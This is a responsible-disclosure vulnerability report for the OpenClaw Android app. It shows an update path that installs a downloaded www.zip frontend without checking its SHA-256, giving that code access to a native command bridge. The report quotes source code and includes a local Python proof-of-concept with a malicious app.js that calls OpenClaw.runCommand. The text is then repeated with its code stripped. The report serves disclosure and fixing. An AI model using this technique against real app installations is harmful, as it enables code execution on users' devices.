Submission Target
The repository does not contain a .github/ISSUE_TEMPLATE bug-report template or issue form. It does contain SECURITY.md, which explicitly says not to open public GitHub issues for security vulnerabilities.
Responsible disclosure target:
https://github.com/AidanPark/openclaw-android/security/advisories/new
Affected Versions
- Confirmed affected: OpenClaw Android
0.4.0, commit ed83efa139083ec77f91a30b631e1c722f8e31a6
- Other versions: Not verified
- Fixed: Not available at the time of reporting
- Introduced in: Not verified
Description
The Android www update path treats the www.zip download URL as the effective artifact identity. Remote component configuration supports url, version, and sha256, but UrlResolver.getWwwUrl() returns only www.url. JsBridge.updateWww() then downloads that URL, extracts the returned zip, replaces the local WebView frontend directory, and reloads the WebView without validating that the downloaded bytes match the expected sha256 or intended component version.
As a result, two www.zip artifacts with the same URL but different bytes, hashes, or versions are accepted equivalently. If an attacker can influence the bytes returned by the configured www.zip URL, the app installs and loads attacker-controlled WebView frontend code.
This is security-relevant because the WebView frontend is trusted local app UI. It is loaded from bootstrapManager.wwwDir, runs with JavaScript enabled, and has access to the OpenClaw JavaScript bridge.
Evidence
The remote component model includes url, version, and sha256:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/UrlResolver.kt#L78-L82
data class ComponentConfig(
val url: String,
val version: String?,
@SerializedName("sha256") val sha256: String?,
)
However, the www resolver returns only the URL:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/UrlResolver.kt#L40-L43
suspend fun getWwwUrl(): String {
val config = loadConfig()
return config?.www?.url ?: BuildConfig.WWW_URL
}
checkForUpdates() uses the remote www.version only to decide whether to list an update. It does not bind the later download to that version:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/JsBridge.kt#L486-L497
val localWwwVersion =
activity
.getSharedPreferences("openclaw", 0)
.getString("www_version", "0.0.0")
val remoteWwwVersion = ((config?.get("www") as? Map<*, *>)?.get("version") as? String)
if (remoteWwwVersion != null && remoteWwwVersion != localWwwVersion) {
updates.add(
mapOf(
"component" to "www",
"currentVersion" to (localWwwVersion ?: "0.0.0"),
"newVersion" to remoteWwwVersion,
The update sink downloads, extracts, and applies the zip without computing or comparing a SHA-256 digest:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/JsBridge.kt#L570-L593
private suspend fun updateWww() {
try {
val url = UrlResolver(activity).getWwwUrl()
val stagingWww = java.io.File(activity.cacheDir, "www-staging")
stagingWww.deleteRecursively()
stagingWww.mkdirs()
emitProgress("www", PROGRESS_DOWNLOAD, "Downloading...")
val zipFile = java.io.File(activity.cacheDir, "www.zip")
java.net.URL(url).openStream().use { input ->
zipFile.outputStream().use { output -> input.copyTo(output) }
}
emitProgress("www", PROGRESS_EXTRACT, "Extracting...")
extractZipToDir(zipFile, stagingWww)
zipFile.delete()
emitProgress("www", PROGRESS_APPLY, "Applying...")
val wwwDir = bootstrapManager.wwwDir
wwwDir.deleteRecursively()
wwwDir.parentFile?.mkdirs()
stagingWww.renameTo(wwwDir)
activity.runOnUiThread { activity.reloadWebView() }
The installed wwwDir/index.html is loaded into the app WebView:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/MainActivity.kt#L163-L172
val wwwDir = bootstrapManager.wwwDir
val url =
if (wwwDir.resolve("index.html").exists()) {
"file://${wwwDir.absolutePath}/index.html"
} else {
// Load bundled fallback setup page from assets
"file:///android_asset/www/index.html"
}
AppLogger.i(TAG, "Loading WebView URL: $url")
binding.webView.loadUrl(url)
The WebView enables JavaScript and exposes the native bridge:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/MainActivity.kt#L130-L140
binding.webView.apply {
clearCache(true)
settings.javaScriptEnabled = true
settings.domStorageEnabled = true
settings.allowFileAccess = true
@Suppress("DEPRECATION")
settings.allowFileAccessFromFileURLs = true
@Suppress("DEPRECATION")
settings.allowUniversalAccessFromFileURLs = true
settings.cacheMode = android.webkit.WebSettings.LOAD_NO_CACHE
addJavascriptInterface(jsBridge, "OpenClaw")
The bridge exposes command-capable methods:
# https://github.com/AidanPark/openclaw-android/blob/ed83efa139083ec77f91a30b631e1c722f8e31a6/android/app/src/main/java/com/openclaw/android/JsBridge.kt#L440-L457
@JavascriptInterface
fun runCommand(cmd: String): String {
val env = EnvironmentBuilder.build(activity)
val result = CommandRunner.runSync(cmd, env, bootstrapManager.homeDir)
return gson.toJson(result)
}
@JavascriptInterface
fun runCommandAsync(
callbackId: String,
cmd: String,
) {
launchWithErrorHandling(
errorEventType = "command_output",
errorContext = mapOf("callbackId" to callbackId, "done" to true),
) {
val env = EnvironmentBuilder.build(activity)
Steps to Reproduce
The following local end-to-end harness models the affected updateWww() logic without modifying the repository. It creates an official www.zip and records its trusted SHA-256, then serves an attacker-controlled www.zip from the same URL. The vulnerable flow uses only the URL, ignores the trusted hash, extracts the attacker zip, and installs it as the local WebView frontend.
#!/usr/bin/env python3
import hashlib
import http.server
import os
import pathlib
import shutil
import socketserver
import tempfile
import threading
import urllib.request
import zipfile
root = pathlib.Path(tempfile.mkdtemp(prefix="openclaw-www-e2e-"))
server_dir = root / "server"
cache_dir = root / "cache"
runtime_dir = root / "runtime"
www_dir = runtime_dir / "usr" / "share" / "openclaw-app" / "www"
for p in (server_dir, cache_dir, www_dir.parent):
p.mkdir(parents=True, exist_ok=True)
def make_zip(path, entries):
with zipfile.ZipFile(path, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for name, data in entries.items():
zf.writestr(name, data)
def sha256_file(path):
h = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
h.update(chunk)
return h.hexdigest()
legit_zip = root / "official-www-v2.1.0.zip"
evil_zip = server_dir / "www-v2.1.0.zip"
make_zip(legit_zip, {
"index.html": b"<html><body><h1>Official OpenClaw UI</h1><script src='app.js'></script></body></html>",
"app.js": b"window.__OPENCLAW_BUILD__='official';\n",
})
make_zip(evil_zip, {
"index.html": b"<html><body><h1>Malicious UI</h1><script src='app.js'></script></body></html>",
"app.js": b"window.__OPENCLAW_BUILD__='evil'; if (window.OpenClaw) OpenClaw.runCommand('id');\n",
})
trusted_sha256 = sha256_file(legit_zip)
class QuietHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, fmt, *args):
pass
class ReusableTCPServer(socketserver.TCPServer):
allow_reuse_address = True
old_cwd = os.getcwd()
os.chdir(server_dir)
server = ReusableTCPServer(("127.0.0.1", 0), QuietHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
try:
url = f"http://127.0.0.1:{server.server_address[1]}/www-v2.1.0.zip"
config = {"www": {"url": url, "version": "2.1.0", "sha256": trusted_sha256}}
staging_www = cache_dir / "www-staging"
shutil.rmtree(staging_www, ignore_errors=True)
staging_www.mkdir(parents=True, exist_ok=True)
zip_file = cache_dir / "www.zip"
with urllib.request.urlopen(config["www"]["url"], timeout=5) as response:
zip_file.write_bytes(response.read())
downloaded_sha256 = sha256_file(zip_file)
with zipfile.ZipFile(zip_file) as zf:
zf.extractall(staging_www)
zip_file.unlink()
shutil.rmtree(www_dir, ignore_errors=True)
www_dir.parent.mkdir(parents=True, exist_ok=True)
staging_www.rename(www_dir)
installed_index = (www_dir / "index.html").read_text()
installed_js = (www_dir / "app.js").read_text()
print("CONFIG_VERSION:", config["www"]["version"])
print("TRUSTED_OFFICIAL_SHA256:", trusted_sha256)
print("ACTUAL_DOWNLOADED_SHA256:", downloaded_sha256)
print("HASH_MISMATCH:", downloaded_sha256 != config["www"]["sha256"])
print("INSTALLED_INDEX_CONTAINS_MALICIOUS_UI:", "Malicious UI" in installed_index)
print("INSTALLED_JS_CALLS_BRIDGE:", "OpenClaw.runCommand" in installed_js)
print("WOULD_HAVE_BEEN_REJECTED_WITH_SHA256_CHECK:", downloaded_sha256 != trusted_sha256)
finally:
server.shutdown()
server.server_close()
os.chdir(old_cwd)
shutil.rmtree(root, ignore_errors=True)
Expected output:
CONFIG_VERSION: 2.1.0
HASH_MISMATCH: True
INSTALLED_INDEX_CONTAINS_MALICIOUS_UI: True
INSTALLED_JS_CALLS_BRIDGE: True
WOULD_HAVE_BEEN_REJECTED_WITH_SHA256_CHECK: True
Impact Assessment
This vulnerability allows an attacker who can influence the bytes returned by the configured www.zip artifact URL to:
- Bypass intended WebView frontend artifact integrity checks because
www.sha256 is not used.
- Replace the trusted local WebView frontend with attacker-controlled HTML and JavaScript.
- Reach native app functionality exposed to the trusted frontend through the
OpenClaw JavaScript bridge.
This is primarily a supply-chain attack. HTTPS reduces ordinary network man-in-the-middle risk, but it does not protect against compromised release assets, CDN/origin compromise, poisoned mirrors, malicious enterprise TLS roots, or artifact-distribution failures. The attacker does not need to modify the app's private files directly or already have JavaScript execution in the WebView; those effects are reached through the unverified update path.
The practical impact is confined to the Android app sandbox and the OpenClaw/Termux runtime unless combined with another escape.
Suggested Fix
Recommended changes:
- Return full
www component metadata from UrlResolver, not only url.
- Require a non-empty, well-formed
sha256 for network-downloaded www.zip artifacts.
- Download
www.zip to a temporary file and compute SHA-256 over the exact downloaded bytes before extraction.
- Reject the archive if the computed digest does not exactly match the trusted expected
www.sha256.
- Bind the applied local
www_version to the verified component version after successful digest validation.
- Consider signing remote config or pinning trusted artifact metadata in the APK so an attacker who controls both config and artifact bytes cannot update the malicious hash as well.
- Validate zip entry paths before extraction so archive entries cannot escape the staging directory.
Reporter Notes
No public GitHub issue should be opened for this report because SECURITY.md explicitly asks reporters not to disclose security vulnerabilities through public issues.
Submission Target
The repository does not contain a
.github/ISSUE_TEMPLATEbug-report template or issue form. It does containSECURITY.md, which explicitly says not to open public GitHub issues for security vulnerabilities.Responsible disclosure target:
https://github.com/AidanPark/openclaw-android/security/advisories/new
Affected Versions
0.4.0, commited83efa139083ec77f91a30b631e1c722f8e31a6Description
The Android
wwwupdate path treats thewww.zipdownload URL as the effective artifact identity. Remote component configuration supportsurl,version, andsha256, butUrlResolver.getWwwUrl()returns onlywww.url.JsBridge.updateWww()then downloads that URL, extracts the returned zip, replaces the local WebView frontend directory, and reloads the WebView without validating that the downloaded bytes match the expectedsha256or intended component version.As a result, two
www.zipartifacts with the same URL but different bytes, hashes, or versions are accepted equivalently. If an attacker can influence the bytes returned by the configuredwww.zipURL, the app installs and loads attacker-controlled WebView frontend code.This is security-relevant because the WebView frontend is trusted local app UI. It is loaded from
bootstrapManager.wwwDir, runs with JavaScript enabled, and has access to theOpenClawJavaScript bridge.Evidence
The remote component model includes
url,version, andsha256:However, the
wwwresolver returns only the URL:checkForUpdates()uses the remotewww.versiononly to decide whether to list an update. It does not bind the later download to that version:The update sink downloads, extracts, and applies the zip without computing or comparing a SHA-256 digest:
The installed
wwwDir/index.htmlis loaded into the app WebView:The WebView enables JavaScript and exposes the native bridge:
The bridge exposes command-capable methods:
Steps to Reproduce
The following local end-to-end harness models the affected
updateWww()logic without modifying the repository. It creates an officialwww.zipand records its trusted SHA-256, then serves an attacker-controlledwww.zipfrom the same URL. The vulnerable flow uses only the URL, ignores the trusted hash, extracts the attacker zip, and installs it as the local WebView frontend.Expected output:
Impact Assessment
This vulnerability allows an attacker who can influence the bytes returned by the configured
www.zipartifact URL to:www.sha256is not used.OpenClawJavaScript bridge.This is primarily a supply-chain attack. HTTPS reduces ordinary network man-in-the-middle risk, but it does not protect against compromised release assets, CDN/origin compromise, poisoned mirrors, malicious enterprise TLS roots, or artifact-distribution failures. The attacker does not need to modify the app's private files directly or already have JavaScript execution in the WebView; those effects are reached through the unverified update path.
The practical impact is confined to the Android app sandbox and the OpenClaw/Termux runtime unless combined with another escape.
Suggested Fix
Recommended changes:
wwwcomponent metadata fromUrlResolver, not onlyurl.sha256for network-downloadedwww.zipartifacts.www.zipto a temporary file and compute SHA-256 over the exact downloaded bytes before extraction.www.sha256.www_versionto the verified component version after successful digest validation.Reporter Notes
No public GitHub issue should be opened for this report because
SECURITY.mdexplicitly asks reporters not to disclose security vulnerabilities through public issues.